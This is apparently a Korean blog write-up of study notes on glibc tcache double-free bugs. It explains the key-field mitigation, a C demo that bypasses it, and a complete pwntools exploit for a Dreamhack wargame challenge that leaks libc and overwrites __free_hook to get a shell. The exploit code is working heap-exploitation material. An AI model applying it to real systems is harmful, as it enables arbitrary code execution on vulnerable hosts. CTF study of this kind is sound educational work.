Memory Corruption : Double Free Bug
: free로 청크 해제시 tcache나 bins에 추가하여 관리 - 다시 유사크기 재요청 시에 청크 재할당 by 이중 원형 연결리스트 탐색
:이때! free로 해제한 청크로 다시 free할 때 발생하는 현상
free : 청크를 추가 / malloc은 청크를 꺼냄
=> 임의의 청크 1개에 대해 free를 두번이상 적용 => 청크를 free list (tcache / bins 등) 에 여러번 추가할 수 있음을 의미
==> 중복 청크 (duplicated) free list 를 이용하면 임의 주소에 청크를 할 수 있는 취약점 : DFB 취약점
Double Free Bug (DFB)
같은 청크를 두 번 해제할 수 있는 버그
: 공격자에게 임의 주소 쓰기, 읽기, 실행, 서비스 거부 등의 수단으로 악용 가능
: 원인 - dagngling pointer
DFB 를 통해 duplicated free list 가능 ㅎ...
free list들의 각 청크는 fd(자신 이후 해제 청크), bk (이전 해제 청크) 에 의해 연결 like node
해제된 청크에서 fd, bk값을 저장하는 공간은 할당된 청크에서 데이터 저장에 사용된다.
=> freelist에 중복해서 포함된다면, 철번째 재할당에서 fd, bk를 조작하여 freelist에 임의 주소로 포함시킬 수 o
Tache Double Free
Mitigation for Tcache DFB
정적 패치 분석 ( tcache 보호기법 )
tcache_entry
key pointer를 추가하여 중복을 방지
: tcache_entry는 해제된 tcache 청크들이 갖는 구조로 fd는 next로 대체, LIFO로 사용되므로 bk는 x
tcache_put
해제한 청크를 tcache에 추가하는 함수
: 해제되는 청크의 key에 tcache(구조체 변수) 라는 값을 대입
tcache_get
tcache에 연결된 청크를 재사용할 때 다시 get하는 함수
: 재사용하는 key의 값에 NULL 대입
_int_free
: 청크를 해제할 때 호출되는 함수
: 재할당하려는 청크의 key값이 tcache이면 DFB가 발생했다고 여겨 프로그램 흡수
동적 분석
$heap : 청크 정보 조회
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555756000
Size: 0x251
Allocated chunk | PREV_INUSE
Addr: 0x555555756250
Size: 0x61
Top chunk | PREV_INUSE
Addr: 0x5555557562b0
Size: 0x20d51
malloc(0x 50)으로 생성한 chunk의 주소 : 0x555555756250
pwndbg > x /4gx 0x555555756250
해당 메모리 덤프 : 데이터 존재x
+ 이후 참조를 위한 gdb 변수 설정법
pwndbg > set $chunk=(tcache_entry *) 0x555555756250
=>free 할때 까지 진행하다가 free 이후에 break걸고 분석, chunk 변수 출력 시 다음과 같은 결과를 얻는다.
chunk의 key값이 0x555555756010 으로 지정되어 있다.
tcache_perthread에 tcache들이 저장되기에
이 주소의 메모리 값을 조회시에 해제한 chunk의 주소가 entry에 포함
-> 다시 실행하면 key값을 변경하지 않고 다시 free 호출하므로 abort
우회 방법
위의 방법에서 해제된 청크의 key값을 1비트라도 바꿀 수 있다면, 보호기법을 우회할 수 있다.
Tcache Duplication
tcache에 같은 청크가 두 번 연결되는 것
:tcache에 적용된 double free 보호기법을 우회하여 DFB를 트리거하는 공격
#include <stdio.h>
#include <stdlib.h>
int main() {
void *chunk = malloc(0x20);
printf("Chunk to be double-freed: %p\n", chunk);
free(chunk);
*(char *)(chunk + 8) = 0xff; // manipulate chunk->key
free(chunk); // free chunk in twice
printf("First allocation: %p\n", malloc(0x20));
printf("Second allocation: %p\n", malloc(0x20));
return 0;
}
분명히 free(chunk)를 두번이나 반복하여 key값에 의해서 abort가 일어나야하지만
chunk +8 바이트의 포인터 값 (key값)을 변조하므로써 우회하였다.
Tache Poisoning
Tcache Poisoning
tcache를 조작하여 임의 주소에 청크를 할당시키는 공격 기법
: DFB를 이용하여 free list에 중복으로 연결된 청크를 재할당 -> 청크가 해제인 청크인 동시에 할당된 청크
=> 중첩 상태를 악용해 임의 주소에 청크 할당 가능
=> 임의 주소 데이터 읽기 (AAR) 및 임의 주소 데이터 쓰기 (AAW) 가능
원래는 fd, bk는 조작 불가능하지만 중첩상태이기에 data와 fd, bk가 중첩된 상태 => 조작가능!
- amd64 (64bit)
- Full RELRO, NX 활성화
- canary, PIE 비활성화
주요 코드 분석
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
- 메모리 해제하는 case 2 에서 메모리를 해제 후 chunk포인터 초기화x => DFB 취약점
- 이를 이용하여 case 4에서 다시 가리켜서 조작할 수 있다.
시나리오
(목표) hook을 덮어서 실행 흐름 조작 - 셸 획득
AAR 로 libc 매핑 주소, __free/malloc_hook 의 주소 get - AAW로 원 가젯 주소 overwrite
Tcache Poisoning을 사용하여 exploit해보자.
1. Tcache Poisoning
AAR,W를 위해 사용
-> 적당한 크기의 청크를 할당하고 key값의 조작 후 다시 free시에 duplication으로 중복 상태
=> fd, bk 조작
2. leak libc
stdin, stdout : libc 내부의 IO_2_1_stdin / stdout 를 가리키는 포인터 변수
-> 한 변수의 값을 읽고, offset을 구해서 libc의 베이스 주소 겟
(전역 변수 bss에 위치 - PIE적용X로 포인터의 주소는 고정)
-> tcache poisoning으로 포인터 변수의 주소에 청크를 할당하자.
3. Hook overwrite to get shell
libc 매핑 주소 얻으면 여기에 원 가젯의 주소와 __free_hook주소를 계산하여
__free_hook에 청크 할당, 그 청크에 적절한 원 가젯 주소 입력, free 호출 => 셸획득
Exploit
#!/usr/bin/env python3
# Name: tcache_poison.py
from pwn import *
p = remote('.host3.dreamhack.games',20061)
e = ELF('./tcache_poison')
libc = ELF('./libc-2.27.so')
def slog(symbol, addr): return success(symbol + ': ' + hex(addr))
# size만큼 data 할당
def alloc(size, data):
p.sendlineafter(b'Edit\n', b'1')
p.sendlineafter(b':', str(size).encode())
p.sendafter(b':', data)
def free():
p.sendlineafter(b'Edit\n', b'2')
def print_chunk():
p.sendlineafter(b'Edit\n', b'3')
def edit(data):
p.sendlineafter(b'Edit\n', b'4')
p.sendafter(b':', data)
################################################################
# Initial tcache[0x40] is empty.
# tcache[0x40]: Empty
# Allocate and free a chunk of size 0x40 (chunk A)
# tcache[0x40]: chunk A
alloc(0x30, b'dreamhack')
free()
# Free chunk A again, bypassing the DFB mitigation
# tcache[0x40]: chunk A -> chunk A -> ...
edit(b'B'*8 + b'\x00') # key값 변경 -> DFB 우회
free() #중복 상태?
# Append address of `stdout` to tcache[0x40]
# tcache[0x40]: chunk A -> stdout -> _IO_2_1_stdout_ -> ...
addr_stdout = e.symbols['stdout']
alloc(0x30, p64(addr_stdout))
# tcache[0x40]: stdout -> _IO_2_1_stdout_ -> ...
alloc(0x30, b'BBBBBBBB')
# tcache[0x40]: _IO_2_1_stdout_ -> ...
_io_2_1_stdout_lsb = p64(libc.symbols['_IO_2_1_stdout_'])[0:1] # least significant byte of _IO_2_1_stdout_
alloc(0x30, _io_2_1_stdout_lsb) # allocated at `stdout`
print_chunk()
p.recvuntil(b'Content: ')
stdout = u64(p.recv(6).ljust(8, b'\x00'))
lb = stdout - libc.symbols['_IO_2_1_stdout_']
fh = lb + libc.symbols['__free_hook']
og = lb + 0x4f432
slog('libc_base', lb)
slog('free_hook', fh)
slog('one_gadget', og)
# Overwrite the `__free_hook` with the address of one-gadget
# Initial tcache[0x50] is empty.
# tcache[0x50]: Empty
# tcache[0x50]: chunk B
alloc(0x40, b'dreamhack') # chunk B
free()
# tcache[0x50]: chunk B -> chunk B -> ...
edit(b'C'*8 + b'\x00')
free()
# tcache[0x50]: chunk B -> __free_hook
alloc(0x40, p64(fh))
# tcache[0x50]: __free_hook
alloc(0x40, b'D'*8)
# __free_hook = the address of one-gadget
alloc(0x40, p64(og))
# Call `free()` to get shell
free()
p.interactive()
'System Hacking' 카테고리의 다른 글
command injection (0) | 2024.03.23 |
---|---|
Logical Bug : Type Error (0) | 2024.03.22 |
Use After Free | dreamhack (1) | 2024.03.17 |
Format String Bug | dreamhack (1) | 2024.03.17 |
Out of bounds | dreamhack (0) | 2024.03.17 |